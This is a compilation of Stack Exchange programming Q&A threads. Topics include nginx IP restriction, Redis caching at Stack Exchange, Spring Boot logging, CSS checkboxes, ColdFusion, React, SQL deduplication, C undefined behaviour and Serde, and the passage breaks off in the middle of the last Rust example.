text:
Q: NginX allow only internal IP on a specific URL I have a location block in my NginX config that looks like this:
location /s/login {
allow 192.168.5.0/24;
deny all;
}

But this only works partially. With external IP they get a 403 error, which is correct, but on internal IP like 192.168.5.41, I get a 404 error. But I'd like to see the site.
The whole config file look like this:
  8 server {
  9         listen *:443 ssl;
 10         server_name news.example.com;
 11
 12         root /var/www/test;
 13
 14         index index.php index.html index.htm index.nginx-debian.html;
 15
 16         location / {
 17                 # try to serve file directly, fallback to app.php
 18                 try_files $uri /index.php$is_args$args;
 19         }
 20
 21         location ~ \.php$ {
 22                 include snippets/fastcgi-php.conf;
 23                 fastcgi_pass unix:/run/php/php7.0-fpm.sock;
 24         }
 25
 26         location ~* ^/index.php {
 27                 # try_files $uri =404;
 28                 fastcgi_split_path_info ^(.+\.php)(/.+)$;
 29                 # NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini
 30
 31                 fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
 32                 fastcgi_index index.php;
 33                 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
 34
 35                 include fastcgi_params;
 36
 37                 fastcgi_buffer_size 128k;
 38                 fastcgi_buffers 256 16k;
 39                 fastcgi_busy_buffers_size 256k;
 40                 fastcgi_temp_file_write_size 256k;
 41         }
 42
 43         location /s/login {
 44                 allow 192.168.5.0/24;
 45                 deny all;
 46         }
 47
 48         # Remove 'index.php' from the URL

EDIT:
The access.log entries for internal IPs looks like this:
192.168.5.41 - - [21/Jun/2018:08:13:59 +0200] "GET /s/login HTTP/1.1" 404 152 "https://news.example.com/s/contacts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"

And for external IPs like this:
178.197.230.117 - - [21/Jun/2018:08:21:59 +0200] "GET /s/login HTTP/1.1" 403 152 "-" "Mozilla/5.0 (Android 7.1.1; Mobile; rv:60.0) Gecko/60.0 Firefox/60.0"

In error.log there are lots of entries like this:
2018/06/21 08:35:12 [error] 52154#52154: *1 open() "/var/www/mautic/s/login" failed (2: No such file or directory), client: 192.168.5.41, server: news.example.com, request: "GET /s/login HTTP/1.1", host: "news.example.com"

Well as you can see, I hadn't had a look at the log files. Due to the entries in the error.log, it's clear what I did wrong and why I got 404 errors.


text:
Q: How to record screen when using eglfs on Broadcom VideoCore IV I have a full-screen Qt app running on a Raspberry Pi 3 using the "eglfs" platform. It draws using KMS/DRM and the /dev/dri/core0 GPU device. The GPU is a Broadcom VideoCore IV.
I'd like to record the screen and have not been successful. The closest I've got is:

*

*Using ffmpeg and the kmsgrab input device. Unfortunately ffmpeg -f kmsgrab -i - -vf 'hwdownload,format=bgr0' output.mp4 produces garbled video, as shown below.

*Redirect Qt to the framebuffer. For example: ./my_app -platform linuxfb:fb=/dev/fb0. Then the more straight-forward ffmpeg -f fbdev -i /dev/fb0 output.mp4 works. Unfortunately linuxfb does not render features from Qt5Compat.GraphicalEffects such as layer.effect, so my buttons do not show.
Given the garbled output from ffmpeg seems so close, I've tried passing various format_modifier's from drm_fourcc.h but have not seen any difference. Surely there's a set of hwmap or format_modifier flags that will ensure the output resembles what appears on screen?
For reference I'm using kernel version 5.4.83-v8 and dtoverlay=vc4-fkms-v3d. I could adjust those things if I thought it would make any difference.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Does Stack Exchange use caching and if so, how? Recently, I read this Stack Overflow blog post about how they have some of their infrastructure laid out.
I was curious to know, does Stack Exchange use caching (both at the application layer and/or database layer) and if so, how?

A: Oh boy, have I been waiting for somebody to ask something like this.
We really aggressively cache... basically everything.
Virtually all pages accessed by (and subsequently served to) anonymous users are cached, whole cloth, via Output Caching.  This isn't terribly interesting, but it is terribly fast, though we've recently removed Output Caching from a small number of routes.
Perhaps more interesting, we use Redis as a caching layer for the entire network.  Kyle recently mentioned the specs of the machine in passing.  Prior to the NY move our Redis instance was in a virtual machine on a (lightly loaded) web tier machine.
In our (admittedly limited) experience, Redis is so fast that the slowest part of a cache lookup is the time spent reading and writing bytes to the network.  This is not surprising, really, if you think about it.
We compensate for this in two ways:

*

*We keep a "L1" cache (basically, HttpRuntime.Cache) of recently set/read values on a server

*

*Naturally, the fastest # of bytes to send across a network is 0.

*We compress values* before sending them to Redis

*

*Most of our cached values are strings, so even at low CPU usage we get great compression ratios

*We also have plenty of CPU time to spare on the web tier, especially in the NY datacenter.

*We've gotten a little smarter and only compress things that actually get smaller compressed (which requires some calisthenics when reading keys), and .NET 4.5's GZip implementation is a lot better

Conceptually, each site has 3 distinct caches:

*

*A "local cache," which can only be accessed from 1 server/site pair

*

*Contains things like user sessions, and pending view count updates

*This resides purely in memory, no network or DB access

*A "site cache," which can be accessed by any instance (on any server) of a single site

*

*Most cached values go here, things like hot question id lists and user acceptance rates are good examples

*This resides in Redis (in a distinct DB, purely for easier debugging)

*A "global cache," which is shared amongst all sites and servers

*

*Inboxes, API usage quotas, and a few other truly global things live here

*This resides in Redis (in DB 0, likewise for easier debugging)

We do our best to avoid cache invalidation, thus most things in the cache merely expire and are never explicitly removed.  However, for those rare cases where removal is necessary we use Redis messaging to publish removal notices** (only to those sites that care, for scaling's sake).
Some quick stats:

*

*At any one point time we have around 1,300,000 keys in our Redis cache

*

*Most of these expire on the order of a few minutes

*This number has been growing as we've become more confident in Redis

*Around peak time we're getting a few hundred read/writes a second to Redis

*

*This is well below the benchmarks out there

*CPU usage on our (way overkill, it turns out) dedicated Redis machine is essentially 0%, all the time

*

*Like, really, all the time

*After a few months of growth, we're seeing peaks of 0.5% cpu usage

*After a lot longer, we're seeing about 1% cpu usage

*Memory usage stays south of 1/2 a GB has grown to just shy of 8 GB is now around 6 GB

*

*Not surprising, as we're mostly storing sets of integers and compressed strings.

*We've also started storing much bigger things in Redis, like inboxes.

*Newer Redis releases have saved some space, and we've slimmed down some common keys

*Still, for some common use cases the largest part of a Redis command is the key name.  One of these days I'm going to find some time to experiment with compressing the entire command stream, and see what kind of performance gains can be made.
**These removals are necessary to invalidate the "L1 Cache," Redis naturally keeps itself in a coherent state in the face of removals.


text:
Q: Error 404 on logfile endpoint when the spring boot application is deployed on Linux I have a simple spring boot application written for a REST API. I am trying to use logback for logs into a file. It works ok when the application is deployed within eclipse on my windows machine and I can see all my logs on /logfile endpoint.
when I deploy the same application on a Linux box , the logfile is created and updated as expected however when I try to access the logfile over the browser,I get a 404 on the same endpoint(/logfile).
Any help will be much appreciated
My logback configuration is as below
logback-spring.xml
    <?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <include resource="org/springframework/boot/logging/logback/base.xml"/>
    <logger name="org.springframework.web" level="DEBUG" additivity="false">
        <appender-ref ref="CONSOLE"/>
        <appender-ref ref="FILE"/>
    </logger>
    <logger name="api.controllers" level="DEBUG" additivity="false">
        <appender-ref ref="CONSOLE"/>
        <appender-ref ref="FILE"/>
    </logger>
 </configuration>

My application.properties file looks like
    server.contextPath=/api
#Configure Access Logs
server.tomcat.basedir=log
server.tomcat.accesslog.enabled=true
server.tomcat.accesslog.pattern=%t %a "%r" %s (%D ms)

#configure other log
logging.file=log/vixenapi.log
logging.level.org.springframework.web=DEBUG
logging.level.org.springframework.boot.autoconfigure.logging=DEBUG
logging.level.org.hibernate=ERROR
#-------------------------------------

spring.jackson.serialization-inclusion=non_empty

#By Default include all properties. If a view property hasn't been set then it will be shown
spring.jackson.mapper.DEFAULT_VIEW_INCLUSION=true

The Log file records the exceptions as
 : Before request [uri=/com.causeway.vixen.api/logfile;client=172.16.4.56]
2017-11-16 18:29:13.662 DEBUG 1552 --- [http-nio-8080-exec-10] o.s.web.servlet.DispatcherServlet        : DispatcherServlet with name 'dispatcherServlet' processing GET request for [/com.causeway.vixen.api/logfile]
2017-11-16 18:29:13.662 DEBUG 1552 --- [http-nio-8080-exec-10] o.s.web.servlet.DispatcherServlet        : Last-Modified value for [/com.causeway.vixen.api/logfile] is: -1
2017-11-16 18:29:13.663  WARN 1552 --- [http-nio-8080-exec-10] o.s.w.s.r.ResourceHttpRequestHandler     : Locations list is empty. No resources will be served unless a custom ResourceResolver is configured as an alternative to PathResourceResolver.
2017-11-16 18:29:13.663 DEBUG 1552 --- [http-nio-8080-exec-10] o.s.web.servlet.DispatcherServlet        : Null ModelAndView returned to DispatcherServlet with name 'dispatcherServlet': assuming HandlerAdapter completed request handling
2017-11-16 18:29:13.663 DEBUG 1552 --- [http-nio-8080-exec-10] o.s.web.servlet.DispatcherServlet        : Successfully completed request
2017-11-16 18:29:13.663 DEBUG 1552 --- [http-nio-8080-exec-10] o.s.w.f.CommonsRequestLoggingFilter      : After request [uri=/com.causeway.vixen.api/logfile;client=172.16.4.56]
2017-11-16 18:29:13.663 DEBUG 1552 --- [http-nio-8080-exec-10] o.s.web.servlet.DispatcherServlet        : DispatcherServlet with name 'dispatcherServlet' processing GET request for [/com.causeway.vixen.api/error]
2017-11-16 18:29:13.664 DEBUG 1552 --- [http-nio-8080-exec-10] s.w.s.m.m.a.RequestMappingHandlerMapping : Looking up handler method for path /error

Here is my minimal example
https://github.com/spring-projects/spring-boot/files/1482233/test_api.zip

A: There's a trailing space in the value of the logging.file property in both your minimal example and the configuration in your question. The value in the question is "log/vixenapi.log " and it should be "log/vixenapi.log".
You can confirm the problem by enabling debug logging for org.springframework.boot.actuate.endpoint.mvc. LogFileMvcEndpoint will log a message when the log file doesn't exist that includes the path that was checked:
2017-11-17 14:40:24.801 DEBUG 30140 --- [nio-8080-exec-1] o.s.b.a.endpoint.mvc.LogFileMvcEndpoint  : Log file 'file [/Users/awilkinson/Downloads/test_api/log/test.log ]' does not exist

Note the trailing space at the end of the path.


text:
Q: Mozilla appearance Checkbox i'm trying to personalize the appearance of Checkbox but this only works in Google Chrome for mozilla doesn't work i dont know how to fix this here is my code:
Example:
Checkbox on jsfiddle.net

¡Please! before you post any response see example in the 2 browsers in
  this case Chrome and Mozilla.

images from google chrome and mozilla
Chrome:

Mozilla

CSS:
#div-tallas .seleccion-talla .btn-default{
padding: 6px 7px;
font-weight: 600;
font-size: 1.2em;
letter-spacing: 0px;
min-width: 40px;
margin-left: 1px !important;
}
#div-tallas input[type="checkbox"] {
/* 1 */
display: inline-block;
height: 36px;
width: 36px;
border: 2px solid #000;
-moz-border: 2px solid #000;
/* 2 */
overflow: hidden;
/* 3 */
margin-top: -4px;
vertical-align: middle;
/* 4 */
-webkit-appearance: none;
-moz-appearance: none;
outline: 0;
/* 5 */
background: #e5e4e4;
-moz-background: #e5e4e4;
}
/*
* Checked
*/
#div-tallas input[type=checkbox]:checked {
/* 1 */
display: inline-block;
height: 36px;
width: 36px;
border: 2px solid #e5e4e4 !important;
-moz-border: 2px solid #e5e4e4 !important;
/* 2 */
overflow: hidden;
/* 3 */
margin-top: -4px;
vertical-align: middle;
/* 4 */
-webkit-appearance: none;
-moz-appearance: none;
outline: 0;
/* 5 */
background: #ff6500 !important;
background-color: #ff6500 !important;
padding: 2px;
transition: background 0.4s linear 0s, color 0.4s linear 0s;
}
/* Checkbox */
#div-tallas input[type=checkbox]:checked:before,
#div-tallas input[type=checkbox]:indeterminate:before {
content: "\f00c";
font-family: FontAwesome;
font-size: 32px;
-webkit-font-smoothing: antialiased;
text-align: center;
line-height: 26px;
color: #e5e4e4;
z-index: 888;
margin-left: -1px;
}
#div-tallas input[type=checkbox]:indeterminate:before {
content: "\f068";
}

A: How about styling the label?
#div-tallas {
   background-color: #e5e4e4 !important;
   min-height: 40vh;
}
#div-tallas input[type="checkbox"] {
    display: none;
}
#div-tallas input[type="checkbox"] + label {
    padding-left: 0;
}
#div-tallas input[type="checkbox"] + label:before {
  /* 1 */
  font: 32px/32px 'FontAwesome';
  text-align: center;
  display: inline-block;
  height: 36px;
  width: 36px;
  border: 2px solid #000;
  overflow: hidden;
  margin-top: -4px;
  vertical-align: middle;
  background: transparent;
  /*   to show content */
  content: "\00a0";
  margin-right: 8px;
}

/*
 * Checked
 */
#div-tallas input[type=checkbox]:checked + label:before {
  border: 2px solid transparent;
  background: #ff6500;
  transition: background 0.4s linear 0s, color 0.4s linear 0s;
}

/* Checkbox */
#div-tallas input[type=checkbox]:checked + label:before,
#div-tallas input[type=checkbox]:indeterminate + label:before {
  content: "\f00c";
  color: #e5e4e4;
}
#div-tallas input[type=checkbox]:indeterminate + label:before {
  content: "\f068";
}

jsfiddle

A: This isn't 100% perfect but it does show you a working example of a pure CSS checkbox that works in both Chrome and Firefox.
JSFiddle
HTML

¡Quiero este!

      <input type="checkbox" value="1" id="checkbox1" />

CSS
#div-tallas {
  background-color: #e5e4e4 !important;
  min-height: 40vh;
}

#div-tallas input[type=checkbox] {
  -webkit-appearance: none;
  -moz-appearance: none;
  appearance: none;
  background: transparent;
  visibility: hidden;
}
#div-tallas input[type=checkbox],
#div-tallas input[type=checkbox] + label::before {
  cursor: pointer;
  vertical-align: middle;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  -o-user-select: none;
  user-select: none;
}
#div-tallas input[type=checkbox] + label::before {
  content: '';
  text-align: center;
  background: #e5e4e4;
  display: inline-block;
  pointer-events: none;
  opacity: 1;
  color: black;
  border: 3px solid black;
  width: 36px;
  height: 36px;
}
#div-tallas input[type=checkbox] + label {
  line-height: 20px;
  margin: 0 15px 0 15px;
}
#div-tallas input[type=checkbox]:hover {
  cursor: pointer;
}
#div-tallas input[type=checkbox]:hover + label::before {
  content: '';
  background: #e5e4e4;
}
#div-tallas input[type=checkbox]:checked + label::before {
  background: #ff6500 !important;
  background-color: #ff6500 !important;
  outline: 0;
  content: "\f00c";
  font-family: FontAwesome;
  font-size: 32px;
  -webkit-font-smoothing: antialiased;
  text-align: center;
  line-height: 26px;
  color: #e5e4e4;
  z-index: 888;
  margin-left: -1px;
}
#div-tallas input[type=checkbox]:checked:hover + label::before {
  opacity: 1;
}
* {
  -moz-box-sizing: border-box;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

Hope this helps.


text:
Q: How to get associative arrays notation to assign simple values I created sample code using the Microsoft SQL Server Northwind demo database.  If you don't have access to this demo database here is a simple (MS-SQL) script to create the table and a row of data for this question.
CREATE TABLE [dbo].[Products](
    [ProductID] [int] IDENTITY(1,1) NOT NULL,
    [ProductName] [nvarchar](40) NOT NULL,
    [SupplierID] [int] NULL,
    [CategoryID] [int] NULL,
    [QuantityPerUnit] [nvarchar](20) NULL,
    [UnitPrice] [money] NULL CONSTRAINT [DF_Products_UnitPrice]  DEFAULT (0),
    [UnitsInStock] [smallint] NULL CONSTRAINT [DF_Products_UnitsInStock]  DEFAULT (0),
    [UnitsOnOrder] [smallint] NULL CONSTRAINT [DF_Products_UnitsOnOrder]  DEFAULT (0),
    [ReorderLevel] [smallint] NULL CONSTRAINT [DF_Products_ReorderLevel]  DEFAULT (0),
    [Discontinued] [bit] NOT NULL CONSTRAINT [DF_Products_Discontinued]  DEFAULT (0),
 CONSTRAINT [PK_Products] PRIMARY KEY CLUSTERED
(
    [ProductID] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON, FILLFACTOR = 90) ON [PRIMARY]
) ON [PRIMARY]
GO
SET IDENTITY_INSERT [dbo].[Products] ON
GO
INSERT [dbo].[Products] ([ProductID], [ProductName], [SupplierID], [CategoryID], [QuantityPerUnit], [UnitPrice], [UnitsInStock], [UnitsOnOrder], [ReorderLevel], [Discontinued]) VALUES (1, N'Chai', 1, 1, N'10 boxes x 20 bags', 18.0000, 39, 0, 10, 0)
GO
SET IDENTITY_INSERT [dbo].[Products] OFF
GO

Here is the ColdFusion code:
<cfset variables.useTempVar = false>

<cfquery datasource="Northwind2014" name="qryNWProducts">
SELECT TOP 1 * from Products;
</cfquery>

<cfdump var="#qryNWProducts#" label="qryNWProducts">

<cfset variables['stProduct'] = {}>
<cfloop index="vcColName" list="#qryNWProducts.columnlist#">
    <cfif variables.useTempVar>
        <cfset variables['temp'] = qryNWProducts[vcColName]>
        <cfset variables['stProduct'][vcColName] = variables.temp>
    <cfelse>
        <cfset variables['stProduct'][vcColName] = qryNWProducts[vcColName]>
    </cfif>
</cfloop>

<cfdump var="#variables['stProduct']#" label="variables['stProduct']">

<cfloop collection="#variables['stProduct']#" item="key"><cfoutput>
    variables['stProduct']['#key#'] JVM datatype = #getMetadata(variables['stProduct'][key]).getName()#

</cfoutput></cfloop>

This always works:

<cfset variables['aPhrase'] = "I ordered " &  variables.stProduct.ProductName & " for " & DollarFormat(variables.stProduct.UnitPrice) & ".">
<cfoutput>#variables['aPhrase']#
</cfoutput>

With "variables.useTempVar = false", the next line will throw a "Complex object types cannot be converted to simple values. " error.

<cfset variables['aPhrase'] = "I ordered " &  variables['stProduct']['ProductName'] & " for " & DollarFormat(variables['stProduct']['UnitPrice']) & ".">
<cfoutput>#variables['aPhrase']#
</cfoutput>

The code above has a boolean variable named "variables.useTempVar" at the top that can be flipped to see the error that I'm getting.
It looks like the direct assignment (when variables.useTempVar = false) from the query to the structure causes the structure values to be of JVM type "coldfusion.sql.QueryColumn".
Another note: if this line of code:
<cfset variables['stProduct'][vcColName] = variables.temp>

is changed to:
<cfset variables['stProduct'][vcColName] = variables['temp']>

The JVM datatype will be "coldfusion.sql.QueryColumn".
When the dot notation temp variable is used to assign the query field (when variables.useTempVar = true); the JVM datatypes are simple types that matches up pretty well with the database column types (java.lang.Integer, java.math.BigDecimal, java.lang.String, etc.).
I've also experiemented with statements like this and that provided some odd results:
<cfset variables['stProduct'][vcColName] = qryNWProducts[vcColName].toString()>

Here's the question.  Is this the best way to transfer the simple values from a query to a structure?  It seems odd to be forced to use a temp variable and dot notation to make this work.
Comment: I've always thought that dot notation and associative array notation were equivalent.  This code example appears to contradict that opinion.

A: @Leigh is correct in that you need to supply the row number when using associative array notation with a query object.  So you'd reference row 1 like: qryNWProducts[vcColName][1]
As for your question

Is this the best way to transfer the simple values from a query to a structure?

Are you sure you need a struct? Your question doesn't really specify the use case, so it is entirely possible that you would be better off using the query object as-is.
If you do need it to be a struct (and since you are using ColdFusion 11) might I suggest you take a look at serializeJSON/deSerializeJSON to convert this to a struct. The serializeJSON has a new attribute that will properly serialize a query object into an "AJAX friendly" JSON array of structs. You can then deSerialize the JSON into a CF array, like so:
NWProducts = deSerializeJSON( serializeJSON( qryNWProducts, 'struct' ) )[1];

Which would return a struct representation of the first row in that query object.
Although it's not obvious from the Adobe docs for serializeJSON, the second parameter can be one of: true|false|struct|row|column which will change how the resulting data is formatted.
Here's a runnable example of using the above technique showcasing each serializeQueryAs option.
It's also a better practice to start moving that kind of code into cfscript. queryExecute is quite easy to use and makes script based queries very easy to develop.  See the How To Create a Query in cfscript tutorial at trycf.com for more on how to develop script based queries.
Final note, and this is a bit off topic but it is a generally accepted best practice to not use Hungarian Notation when naming variables.

A: @Abram's covered the mains answer, but just to pick up one tangential point you raise.
Dot notation and associative array notation are generally equivalent in CFML. However in the case of queries, there is a slight variation. Dot notation: query.columnName is treated as shorthand for query.columnName[currentRow] (where currentRow defaults to 1).
Associative array notation with queries does not have this "syntactic sugar", so query["columnName"] refers to the entire column, as the syntax actually indicates.
There are no functions I am aware of in CFML that take a query column as an argument, however the CFML engine will convert the column to an array if it's used in an array function. This is quite handy sometimes.


text:
Q: Recommendations for presentation software with realtime scrolling text What's the best software / tool stack to display realtime scrolling names and a chart that shows a graph of donations?  This is for a fundraising event and would be shown on the big screen.  Donations will be received real-time and will be entered into a database. We want to have a live presentation that scrolls through the donors names as they are entered in the DB and have a graph that updates to show the total donations.  Ideally we would like to be able to run this through a laptop and not be dependent on a cloud service as internet connectivity may not be solid at the event site.

A: If you're looking to do it yourself, and don't mind paying for the license, DevExpress seems to have the ability to do real time charts, if you don't want to pay for a license, then there is plenty of libraries that can do realtime charting in any imaginable plataform.


text:
Q: Conditional Render react-card-flip children based on a button or else 1 frontside 2 backsides is the following im trying to do possible with the react-flip-package?
Basically my front side is a card with 2 buttons. When i click the one button id like to flip into one backside and if i click to the other button i want to flip on another  different backside.
https://codesandbox.io/s/cool-sunset-pfjjln?file=/src/App.js
Heres my code.
import CardContent from '@mui/material/CardContent'
import { IconButton, Box } from '@mui/material'
import TrainIcon from '@mui/icons-material/Train'
import ExpandMoreIcon from '@mui/icons-material/ExpandMore'
import ReactCardFlip from 'react-card-flip'
import CardDestination from './CardDestination'
import CardBrowsePlan from './CardBrowsePlan'
import React from 'react'

function CardTrial() {
    const [isFlipped, setIsFlipped] = React.useState(false)

    const handleClick2 = () => {
        setIsFlipped(!isFlipped)
    }

    return (
        <ReactCardFlip isFlipped={isFlipped} flipDirection="horizontal">
            {/* front */}

                <Card>
                    <CardContent>
                        <IconButton onClick={handleClick2}>
                            <TrainIcon sx={{ height: 25, width: 25 }} />
                        </IconButton>

                        <IconButton onClick={handleClick2}>
                            <ExpandMoreIcon sx={{ height: 25, width: 25 }} />
                        </IconButton>
                    </CardContent>
                </Card>

            {/* back */}

            <Box>
                <CardDestination flip2={handleClick2} />
                <CardBrowsePlan flip2={handleClick2} />
            </Box>
        </ReactCardFlip>
    )
}

export default CardTrial

Right now i have my children in a box and obviously they both turn when i click any of the 2 buttons. (also passing props so they can turn back)
How do i go about this?
Thanks!

A: You can make one more state to tell React which card have to be flipped.
function CardTrial() {
    const [isFlipped, setIsFlipped] = React.useState(false)
    const [isDestinationCard, setIsDestinationCard] = React.useState(false)

    const handleClick1 = () => {
        setIsDestinationCard(true)
        setIsFlipped(!isFlipped)
    }
    const handleClick2 = () => {
        setIsDestinationCard(false)
        setIsFlipped(!isFlipped)
    }

    return (
        <ReactCardFlip isFlipped={isFlipped} flipDirection="horizontal">
            {/* front */}

                <Card>
                    <CardContent>
                        <IconButton onClick={handleClick1}>
            {/* this button will open CardDestination */}
                            <TrainIcon sx={{ height: 25, width: 25 }} />
                        </IconButton>

                        <IconButton onClick={handleClick2}>
            {/* this button will open CardBrowsePlan */}
                            <ExpandMoreIcon sx={{ height: 25, width: 25 }} />
                        </IconButton>
                    </CardContent>
                </Card>

            {/* back */}

            <Box>
                {isDestinationCard ? <CardDestination flip2={handleClick1} /> : <CardBrowsePlan flip2={handleClick2} />}
            </Box>
        </ReactCardFlip>
    )
}

export default CardTrial

Or, you can make your state as a string which will tell you what card to open or will close on empty value
function CardTrial() {
    const [CardTrigger, setCardTrigger] = React.useState("")

    const handleClick = card => {
        setCardTrigger(card)
    }
    return (
        <ReactCardFlip isFlipped={!!CardTrigger.length} flipDirection="horizontal">
            {/* front */}

                <Card>
                    <CardContent>
                        <IconButton onClick={() => handleClick("destination")}>
            {/* this button will open CardDestination */}
                            <TrainIcon sx={{ height: 25, width: 25 }} />
                        </IconButton>

                        <IconButton onClick={() => handleClick("browsePlan")}>
            {/* this button will open CardBrowsePlan */}
                            <ExpandMoreIcon sx={{ height: 25, width: 25 }} />
                        </IconButton>
                    </CardContent>
                </Card>

            {/* back */}

            <Box>
                {CardTrigger === "destination" && <CardDestination flip2={() => handleClick("")} />}
                {CardTrigger === "browsePlan" && <CardBrowsePlan flip2={() => handleClick("")} />}
            </Box>
        </ReactCardFlip>
    )
}

export default CardTrial


text:
Q: Проблема с переносом При переносе сайта возникла ошибка:

Error 503 Site Temporarily Unavailable

Поправил config.inc.php в корне, manager, controllers, core/config, импортировал базу данных на сервер (utf8mb4 -> utf8). Примечательно, что если в корне сайта в config.inc.php оставить путь к папке core как на локальном (по умолчанию — /core/), то сайт нормально отображается (всё, кроме каталога товаров на главной, который я вывожу собственным сниппетом).
Проверял core/config/config.inc.php — написано всё правильно, database_user, database_password проверил — подключается. В $database_dsn прописал unix_socket. Все пути в файле проверил — пути modx указаны правильно.
Скачал в корень сайта test_config.php. Он выдал:

$database_dsn is not set correctly

Нашёл тот же, что и у меня, вопрос, но не нашёл для себя ответа: http://modx.pro/help/2306/
ЧЯДНТ?


text:
Q: need help in understanding if the way I am testing a function is correct I have written this function which is called when a user clicks a link. The function basically creates a copy of the user data with one field altered (thus keeping the original value unchanged i.e. not-mutable) and then updates the database with the new value
def confirmSignupforUser(user:User):Future[Option[User]] = {
    println("confirming user: "+user)
        val newInternalProfile = user.profile.internalProfileDetails.get.copy(confirmed=true)//new data which should be added in the database
        println("old internal profile: "+user.profile.internalProfileDetails.get)
        println("new internal profile: "+newInternalProfile)
        val newProfile = UserProfile(Some(newInternalProfile),user.profile.externalProfileDetails)
        println("old profile: "+user.profile)
        println("new profile: "+newProfile)
        val confirmedUser = user.copy(profile=newProfile)
        for(userOption <- userRepo.update(confirmedUser)) yield { //database operation
          println("returning modified user:"+userOption)
          userOption
      }
  }

To test the code, I have written the following spec
"confirmSignupforUser" should {
    "change confirmed status to True" in {
      val testEnv = new TestEnv(components.configuration)
      val externalProfile = testEnv.externalUserProfile
      val internalUnconfirmedProfile = InternalUserProfile(testEnv.loginInfo,1,false,None)
      val internalConfirmedProfile = internalUnconfirmedProfile.copy(confirmed=true)
      val unconfirmedProfile = UserProfile(Some(internalUnconfirmedProfile),externalProfile)
      val confirmedProfile = UserProfile(Some(internalConfirmedProfile),externalProfile)
      val origUser = User(testEnv.mockHelperMethods.getUniqueID(),unconfirmedProfile)
      val confirmedUser = origUser.copy(profile = confirmedProfile)
      //the argument passed to update is part of test. The function confirmSignupforUser should pass a confirmed profile
      when(testEnv.mockUserRepository.update(confirmedUser)).thenReturn(Future{Some(confirmedUser)})
      //// await is from play.api.test.FutureAwaits
      val updatedUserOption:Option[User] = await[Option[User]](testEnv.controller.confirmSignupforUser(origUser))
      println(s"received updated user option ${updatedUserOption}")
      updatedUserOption mustBe Some(confirmedUser)

    }
  }

I am not confident if I am testing the method correctly. The only way I can check that the confirmed field got changed is by looking at the return value of confirmSignupforUser. But I am actually mocking the value and I have already set the field confirmed to true in the mocked value (when(testEnv.mockUserRepository.update(confirmedUser)).thenReturn(Future{Some(confirmedUser)}).
I know the code works because in the above mock, the update method expects confirmedUser or in other words, a user with confirmed field set to true. So if my code wasn't working, update would have been called with user whose confirmed field was false and mockito would have failed.
Is this the right way to test the method or is there a better way?

A: You don't need to intialize internalConfirmedProfile in your test. The whole point is to start with confirmed=false, run the confirmSignupforUser method, and make sure that the output is confirmed=true.
You should check 2 things:

*

*check that the return value has confirmed=true (which you do)

*check that the repository has that user saved with confirmed=true (which you don't check). To check that you would need to load the user back from the repository at the end.


text:
Q: Multiple assignment of single variable in a single line of code Can someone tell me how this code works?
#include <stdio.h>
void main() {
    int m,k;
    m=(k=5) + (k=8) + (k=9) + (k=7);
    printf ("%d\n", m);
} // output 32

When I run this code in my compiler, the output was 32.
Don't know why.

A: This code invokes undefined behavior - any result is suspect, even if it's the result you expect.
Attempting to modify an object more than once (or modifying it and using it in a value computation) in an expression without a sequence point leads to undefined behavior.  The multiple assignments to k are a problem.  The thing is, arithmetic expressions don't have to be evaluated left to right - each term can be evaluated in any order.  Additionally, side effects don't have to be applied immediately after evaluation.
Any result you get is the result of accident, not design.


text:
Q: Remove Duplicate Records While Retaining One Record I have a table of phone records as such:
ID  int (Primary Key)
company varchar
dbaname varchar
coaddress   varchar
cocity  varchar
costate varchar
cozip   varchar
phonenum    varchar

What I want to accomplish is to remove all the duplicates phone numbers (phonenum field) but retain one occurence.
When doing a duplicate check, I see there are over 41000 duplicate phone numbers in the table (total of about 141000).
How would I go about doing this based on the phone number?

A: Assuming you want to keep only the latest record:
DELETE  yourTable
FROM    yourTable T
        LEFT JOIN
        (   SELECT  MAX(ID) [ID]
            FROM    yourTable
            GROUP BY Phonenum
        ) MaxT
            ON MaxT.ID = T.ID
WHERE   MaxT.ID IS NULL

I'd definitely archive what you are deleting into another table though as there is no guarantee you are removing the correct record without checking manually or adding further criteria to the Delete statement.


text:
Q: how to pass useContext data without jsx I have the following logic written outside of jsx in React:
parent
export const dataUseContext = React.createContext("default");
...
const someData = {}
someData["name"] = "john"
someData["age"] = 33

<dataUseContext.Provider value={someData} />

child
const dataResponse = React.useContext(dataUseContext)
console.log(dataResponse)

the approach above returned by the console.log is empty, is there something that i am missing on how to pass the using useContext without using jsx?


text:
Q: Can Serde deserialize JSON to one of a set of types depending on the value of a field? I have a group of different messages that come in as JSON and can be distinguished based on a single field, but then each variant has a different collection of secondary fields:
#[derive(Debug, Serialize, Deserialize)]
struct MessageOne {
    ///op will always be "one"
    op: String,
    x: f64,
    y: f64,
}

#[derive(Debug, Serialize, Deserialize)]
struct MessageTwo {
    ///op will always be "two"
    op: String,
    a: f64,
    b: i64,
}

The different message types are routed to different processing functions (e.g. process_message_one, process_message_two, etc). Is there an elegant or idiomatic way to automatically select the correct message sub-type? Currently I've defined a generic message:
#[derive(Debug, Serialize, Deserialize)]
struct MessageGeneric {
    op: String,
}

then parse the incoming JSON into the MessageGeneric, read the op field and then deserialize again, matching on op to select the correct message type. Full example:
#![allow(unused)]

extern crate serde; // 1.0.78
extern crate serde_json; // 1.0.27

#[macro_use]
extern crate serde_derive;

use std::collections::HashMap;

#[derive(Debug, Serialize, Deserialize)]
struct MessageGeneric {
    op: String,
}

#[derive(Debug, Serialize, Deserialize)]
struct MessageOne {
    ///op will always be "one"
    op: String,
    x: f64,
    y: f64,
}

#[derive(Debug, Serialize, Deserialize)]
struct MessageTwo {
    ///op will always be "two"
    op: String,
    a: f64,
    b: f64,
}

fn process_message_one(m: &MessageOne) {
    println!("Processing a MessageOne: {:?}", m);
}

fn process_message_two(m: &MessageTwo) {
    println!("Processing a MessageTwo: {:?}", m);
}

fn main() {
    let data = r#"{
        "op": "one",
        "x": 1.0,
        "y": 2.0
    }"#;

    let z: MessageGeneric = serde_json::from_str(data).unwrap();

    match z.op.as_ref() {
        "one" => {
